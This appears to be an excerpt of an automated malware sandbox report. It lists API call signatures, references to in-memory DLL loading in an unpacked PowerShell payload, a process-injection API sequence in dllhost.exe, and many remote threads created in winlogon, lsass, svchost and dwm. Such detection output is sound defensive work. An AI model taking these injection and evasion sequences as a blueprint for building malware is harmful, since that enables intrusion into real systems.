Source: C:\Windows\System32\svchost.exe	Code function: 26_2_000002234E16CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	26_2_000002234E16CD80
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B1CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_0000023942B1CD80
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B18814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	27_2_0000023942B18814
Source: C:\Windows\System32\svchost.exe	Code function: 27_2_0000023942B184B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	27_2_0000023942B184B0
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056DCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_000001EF056DCD80
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056D8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_000001EF056D8814
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF056D84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_000001EF056D84B0
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF0570CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_000001EF0570CD80
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF05708814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	28_2_000001EF05708814
Source: C:\Windows\System32\svchost.exe	Code function: 28_2_000001EF057084B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	28_2_000001EF057084B0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD48814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_000002287AD48814
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD484B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000002287AD484B0
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000002287AD4CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_000002287AD4CD80
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA98814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	30_2_000001B94DA98814
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA9CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000001B94DA9CD80
Source: C:\Windows\System32\svchost.exe	Code function: 30_2_000001B94DA984B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	30_2_000001B94DA984B0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_0000025202578814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_0000025202578814
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025784B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000252025784B0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_000002520257CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_000002520257CD80
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025A8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	31_2_00000252025A8814
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025A84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000252025A84B0
Source: C:\Windows\System32\svchost.exe	Code function: 31_2_00000252025ACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000252025ACD80
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFC8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_000001A9EBFC8814
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFCCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001A9EBFCCD80
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EBFC84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001A9EBFC84B0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6884B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001A9EC6884B0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC68CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001A9EC68CD80
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC688814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_000001A9EC688814
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6B84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001A9EC6B84B0
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6BCD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_000001A9EC6BCD80
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_000001A9EC6B8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	32_2_000001A9EC6B8814
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF163CD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0000019FF163CD80
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF1638814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	33_2_0000019FF1638814
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF16384B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0000019FF16384B0
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19ACD80 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0000019FF19ACD80
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19A84B0 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_0000019FF19A84B0
Source: C:\Windows\System32\svchost.exe	Code function: 33_2_0000019FF19A8814 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	33_2_0000019FF19A8814

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 35.2.powershell.exe.213141b0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.VirtualAlloc(PtrAdd(pCode, iMAGE_SECTION_HEADER.VirtualAddress), (UIntPtr)sectionAlignment, AllocationType.COMMIT, MemoryProtection.READWRITE)
Source: 35.2.powershell.exe.213141b0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.LoadLibrary(PtrAdd(pCode, iMAGE_IMPORT_DESCRIPTOR.Name))
Source: 35.2.powershell.exe.213141b0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.GetProcAddress(intPtr2, PtrAdd(PtrAdd(pCode, intPtr5), 2))
Source: 35.2.powershell.exe.213141b0000.0.raw.unpack, DLLFromMemory.cs	Reference to suspicious API methods: Win.VirtualProtect(P_0, P_1, P_2, out P_3)

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 14_2_0000000140002434 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,OpenProcess,TerminateProcess,

14_2_0000000140002434

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 7D1B2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: 2DD22EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4B8F2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: F1EB2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 42AE2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 56A2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7A7D2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4DA62EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2542EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBF92EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F1602EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6A172EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 26992EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D5C2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: AB962EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 9B2A2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 84182EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 78732EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5FCF2EBC	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7D1B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DD22EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4B8F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F1CD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 42AE2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 56A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7AD72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4DA62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2542EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBF92EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F1602EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A172EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26992EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D5C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB962EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B2A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 84182EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78732EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5FCF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25DC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A5D82EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F41C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25342EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC902EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26282EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 31E62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 137C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3A3B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E4192EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1452EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 68FA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 951C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 63512EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E102EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 98572EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3C5C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CFCF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8E332EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A2952EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 340C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 53792EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A0E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 30B32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 35DA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 792F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E9172EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 59542EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1AC02EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1352EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D2532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8592EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 44DD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B00D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9A262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B71A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 82022EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 706E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A4A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 43F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15D32EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD5E2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 570C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E5262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 90B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B1242EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 82CD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B7A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 61412EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ADC42EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3CB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 997D2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27C25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CC25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AB25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27F25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2AF25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8925AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7E25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26B25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 22725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 20425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 28A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AD25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CE25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6325AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F525AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D425AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A625AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DA25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 29025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6D25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2CF25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10C25AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8725AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5225AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6825AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11125AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14025AC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8C182EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BF652EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8F262EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8BCF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 91C92EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7D1B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4E422EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DD22EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4B8F2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F1CD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 42AE2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 56A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7AD72EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4DA62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2542EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EBF92EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F1602EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6A172EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26992EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5D5C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB962EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C5302EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B2A2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 84182EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78732EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C5612EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5FCF2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 63AD2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25DC2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A5D82EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F41C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 25342EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC902EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3532EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 26282EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 31E62EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 137C2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3A3B2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E4192EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1452EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 68FA2EBC
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 951C2EBC
